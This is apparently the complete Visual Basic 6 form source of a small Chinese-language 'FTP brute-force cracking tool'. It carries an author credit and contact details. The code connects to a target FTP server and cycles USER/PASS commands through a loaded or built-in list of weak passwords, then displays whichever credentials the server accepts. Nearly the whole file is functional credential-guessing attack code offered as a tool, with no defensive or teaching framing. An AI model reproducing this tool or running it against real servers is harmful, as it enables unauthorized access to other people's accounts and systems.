VERSION 5.00
Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"
Object = "{831FDD16-0C5C-11D2-A9FC-0000F8754DA1}#2.0#0"; "MSCOMCTL.OCX"
Object = "{F9043C88-F6F2-101A-A3C9-08002B2F49FB}#1.2#0"; "ComDlg32.OCX"
Begin VB.Form Form1 
   Caption         =   "FTP暴力破解工具V1.0  --By 無敵小龍（張博） Q：5450913"
   ClientHeight    =   6360
   ClientLeft      =   3015
   ClientTop       =   2205
   ClientWidth     =   8325
   LinkTopic       =   "Form1"
   ScaleHeight     =   6360
   ScaleWidth      =   8325
   Begin MSComctlLib.ProgressBar ProgressBar1 
      Height          =   255
      Left            =   240
      TabIndex        =   9
      Top             =   5160
      Width           =   7815
      _ExtentX        =   13785
      _ExtentY        =   450
      _Version        =   393216
      Appearance      =   1
   End
   Begin VB.Frame Frame3 
      Caption         =   "用戶名稱："
      Height          =   855
      Left            =   240
      TabIndex        =   6
      Top             =   120
      Width           =   2415
      Begin VB.TextBox Text1 
         Height          =   375
         Left            =   120
         TabIndex        =   7
         Text            =   "xiaolong"
         Top             =   360
         Width           =   2055
      End
   End
   Begin VB.Frame Frame2 
      Caption         =   "檢測："
      Height          =   4815
      Left            =   2880
      TabIndex        =   3
      Top             =   120
      Width           =   5175
      Begin VB.TextBox Text2 
         Height          =   375
         Left            =   1200
         TabIndex        =   10
         Text            =   "127.0.0.1"
         Top             =   360
         Width           =   2415
      End
      Begin VB.CommandButton Command1 
         Caption         =   "開始掃描"
         Height          =   375
         Left            =   3720
         TabIndex        =   5
         Top             =   360
         Width           =   1215
      End
      Begin VB.ListBox List2 
         Height          =   3840
         Left            =   120
         TabIndex        =   4
         Top             =   840
         Width           =   4815
      End
      Begin MSWinsockLib.Winsock Winsock1 
         Left            =   960
         Top             =   0
         _ExtentX        =   741
         _ExtentY        =   741
         _Version        =   393216
      End
      Begin VB.Label Label2 
         Caption         =   "FTP服務器："
         Height          =   255
         Left            =   120
         TabIndex        =   11
         Top             =   480
         Width           =   1095
      End
   End
   Begin VB.Frame Frame1 
      Caption         =   "密碼列表："
      Height          =   3735
      Left            =   240
      TabIndex        =   0
      Top             =   1200
      Width           =   2415
      Begin MSComDlg.CommonDialog CommonDialog1 
         Left            =   840
         Top             =   1800
         _ExtentX        =   847
         _ExtentY        =   847
         _Version        =   393216
      End
      Begin VB.CommandButton Command2 
         Caption         =   "載入密碼列表"
         Height          =   375
         Left            =   120
         TabIndex        =   2
         Top             =   360
         Width           =   2055
      End
      Begin VB.ListBox List1 
         Height          =   2760
         Left            =   120
         TabIndex        =   1
         Top             =   840
         Width           =   2055
      End
   End
   Begin VB.Label Label1 
      Caption         =   "無敵小龍：Http://hi.baidu.com/pespin"
      Height          =   255
      Left            =   2280
      TabIndex        =   8
      Top             =   5760
      Width           =   3495
   End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Dim i As Integer

Private Sub Command1_Click()
List2.Clear '所有的初始化工作
i = 0
ProgressBar1.Min = 0
ProgressBar1.Max = List1.ListCount - 1

Winsock1.Close
Winsock1.Connect Text2.Text, 21 '連接FTP服務器
End Sub

Private Sub Command2_Click()
On Error Resume Next
Dim a As String

CommonDialog1.Action = 1 '打開文件
If CommonDialog1.FileName <> "" Then
   List1.Clear '清空原來的列表
   Open CommonDialog1.FileName For Input As #1
   Do While Not EOF(1)
      Line Input #1, a
      List1.AddItem a
   Loop
   Close
End If
End Sub

Private Sub Form_Load() '加入密碼列表
List1.AddItem "789"
List1.AddItem "456"
List1.AddItem "123456"
List1.AddItem "xxxxxx"
List1.AddItem "eeeeee"
List1.AddItem "bbbbbb"
List1.AddItem "ccc"
List1.AddItem "xyz"
List1.AddItem "abc"
List1.AddItem "888"
List1.AddItem "123"
List1.AddItem "111"
List1.AddItem "999999"
End Sub

Private Sub Winsock1_Connect()
List2.AddItem "連接成功"
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) '數據到達
Dim a As String
Winsock1.GetData a '獲取數據
List2.AddItem a
ProgressBar1.Value = i

If i = List1.ListCount - 1 Then
   MsgBox "所有密碼檢測完畢"
   Exit Sub
End If

If Mid(a, 1, 3) = "220" Then '發送用戶
   Winsock1.SendData "USER " + Text1.Text + vbCrLf '這里的回車換行不能少
   List2.AddItem "USER " + Text1.Text
End If

If Mid(a, 1, 3) = "331" Then '發送密碼
   Winsock1.SendData "PASS " + List1.List(i) + vbCrLf
   List2.AddItem "PASS " + List1.List(i)
End If

If Mid(a, 1, 3) = "530" Then '用戶或者密碼錯誤
   Winsock1.SendData "USER " + Text1.Text + vbCrLf '重新發送用戶名，這樣可以建立一個新的掃描會話！
   i = i + 1
   List2.AddItem "USER " + Text1.Text
End If

If Mid(a, 1, 3) = "230" Then
   Form1.Caption = "用戶為：" + Text1.Text + "，密碼為：" + List1.List(i)
   ProgressBar1.Value = 0
End If
End Sub